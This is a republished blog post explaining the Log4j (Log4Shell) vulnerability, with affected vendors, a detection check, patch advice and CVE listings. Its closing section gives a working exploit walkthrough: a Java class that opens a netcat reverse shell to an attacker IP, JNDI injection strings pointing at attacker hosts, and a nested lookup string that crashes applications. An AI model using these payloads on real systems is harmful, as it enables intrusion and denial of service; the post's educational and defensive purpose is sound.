This content originally appeared on DEV Community and was authored by Shivansh Sharma
If you are here then you might have already heard of log4j vulnerability. It is the current trending topic in IT domain as this vulnerability made millions of sites vulnerable to RCE(Remote Code Execution). Lets try to understand what is Log4j and what vulnerability is exploited to gain RCE.
What is Log4J ?
Log4J is a Java-based open source component maintained by the Apache Foundation that is commonly incorporated into Java applications. It allows to record traceability of operations at a functional and operational level in a multitude of services, even from a security point of view. So basically it is a library used for logging(maintaining a record of events occurred in a application) in applications.
this image shows how a log file look like.
What is the Vulnerability in Log4j?
Developers were expecting the Log4j library to record application/server values, including input strings, with the expectation that those strings were plaintext and not able to invoke APIs but in log4j if we gave input parameter like {jndi[:]ldap[:]//.... we were able to invoke JNDI API. JNDI is the Java Naming and Directory Interface , It is a library/service allowing for runtime configuration. So, this JNDI API leads in leakage of sensitive information and thereby facilitate other attacks which finally results in getting a Reverse Shell.
Who are Affected by Log4J?
Log4J can be found in variety of places. Its was widely used for logging in programmes, Application, Games, Application Development tool and hence hackers have a wide range of targets to attack.
Average time to repair a software is 1-4 Weeks . As Log4J was widely used repairing it would takes years and hence this vulnerability is estimated to be exploited for years.
From Open Source to Commercial Solutions all are affected by by this Vulnerability. Studies carried out by Google indicate that 8% of the packages in the central Maven repository have been affected by this vulnerability. you can check out this link for more info. https://security.googleblog.com/2021/12/understanding-impact-of-apache-log4j.html
Affected Companies(List Keeps on increasing)
Apple, Intel, Amazon, Oracle, VMWare, IBM, Cisco, Redhat, Atlassian, BMC, Fortinet, F5, McAfee, Twitter, Baidu, Tesla, Palo Alto, SonicWALL, SolarWinds
Many opensource solution are also affected here is the list of applications who used java in their infrastructure like Apache Struts, Apache Struts2,Apache Tomcat, Apache Spark, Apache Solr, Apache Kafka, ElasticSearch, flume, Log stash, IBM Qradar SIEM, NetApp, Pulse Secure, etc.
Checkout this link for knowing Log4j impact on manufacturers
https://github.com/YfryTchsGD/Log4jAttackSurface
What are Hackers Doing by Exploiting this Vulnerability
Hackers are running ransomware campaign, Deploying botnets and Mine XMR coins on Compromised Systems. None the less if they get access to data they will steal it.
Why Companies are not able to patch Log4J Completely?
Most of the companies have patched their code base for Log4j but the problem that most of them are facing is that all the vendors of company need to patch log4j package in their product which is out of their control and they cannot do anything in that.
Checking if the site is Vulnerable to log4j RCE
To check if the site is vulnerable to Log4J RCE first find areas where we can input strings (like search box, etc.).Then Visit https://log4shell.huntress.com/
and copy this text ${jndi:ldap://log4shell.huntress.com:1389/<Your unique identifier>} then paste it in the input area now go back to the page from where you copied and you will see a result keyword hyperlinked click on it and see if there is a entry of your site, if the entry is there then your site is vulnerable to log4j RCE.
Now lets understand what is log4shell.huntress.com doing and how is it checking our site for vulnerability. For this we have to understand how our input is working
-
{jndi:....------> this invokes JNDI API and access external resources :idap:....-----> this shows that target will reach out to an attacker controlled location over idap protocol://log4shell.huntress.com:1389/-----> This is the address of attackers controlled host basically we are reaching out to this site.
All these parts makes us understand that we are establishing a connection between site and a attacker controlled host.
Alternately you can use cisagov/log4j-scanner to scan for log4j Vulnerability on your site.
Fixing The Vulnerability
To fix this Vulnerability you should update your java and log4j to latest Version(i.e. Log4J V2.17 or above) this doesn't guarantee that Vulnerability is fully patched but reduces some what risk. Also check out snyk remediation cheat sheet https://snyk.io/blog/log4shell-remediation-cheat-sheet/
Vulnerabilities Published on Log4J
- CVE-2021-44228 Version Affected: Apache Log4j2 2.0-beta9 a 2.12.1 y 2.13.0 a 2.15.0
- CVE-2021-45046 Version Affected: 2.0.1 – 2.12.2 (excluded) y 2.13.0 – 2.16.0 (excluded)
- CVE-2021-45105 Version Affected:Log4j2 versions 2.0-alpha1 hasta 2.16.0 (included).
Exploiting Vulnerability (ONLY FOR CVE-2021-44228 and CVE-2021-45046)
for Exploiting this vulnerability we will be writing an payload and then we will be compiling it and then we will trigger it to get reverse shell.
Follow Steps:
NOTE: Here we are considering that our targeted server's OS is linux and netcat is already installed in it.
public class Exploit {
static {
try {
java.lang.Runtime.getRuntime().exec("nc -e /bin/bash <YOUR.ATTACKER.IP.ADDRESS> <Listening port>");
} catch (Exception e) {
e.printStackTrace();
}
}
}
- Write exploit in Exploit.java file using above given code
- Compile the java file
javac Exploit.java -source 8 -target 8 - Host a temporary HTTP server for exploit
- set a net cat listener to listen to exploit.
nc -lnvp <Attacker port number> - for CVE-2021-44228 put
{jndi:ldap://YOUR.ATTACKER.IP.ADDRESS:ATTACKER PORT/Exploit\}as input - for CVE-2021-45046 put
{jndi:ldap://127.0.0.1#attacker.com/exploit}as input 1.you got a reverse shell.
For CVE-2021-45105 we cannot get a reverse shell but we can use ${${::-${::-$${::-j}}}} this parameter to to generate a StackOverflow exception that may lead to the termination of the vulnerable application process, giving rise to a denial of service (DoS) vulnerability.
Use this link to get technical insight on the Vulnerability
https://businessinsights.bitdefender.com/technical-advisory-zero-day-critical-vulnerability-in-log4j2-exploited-in-the-wild
This content originally appeared on DEV Community and was authored by Shivansh Sharma
Shivansh Sharma | Sciencx (2021-12-25T19:23:11+00:00) Understanding and Exploiting Log4J Vulnerability. Retrieved from https://www.scien.cx/2021/12/25/understanding-and-exploiting-log4j-vulnerability/
Please log in to upload a file.
There are no updates yet.
Click the Upload button above to add an update.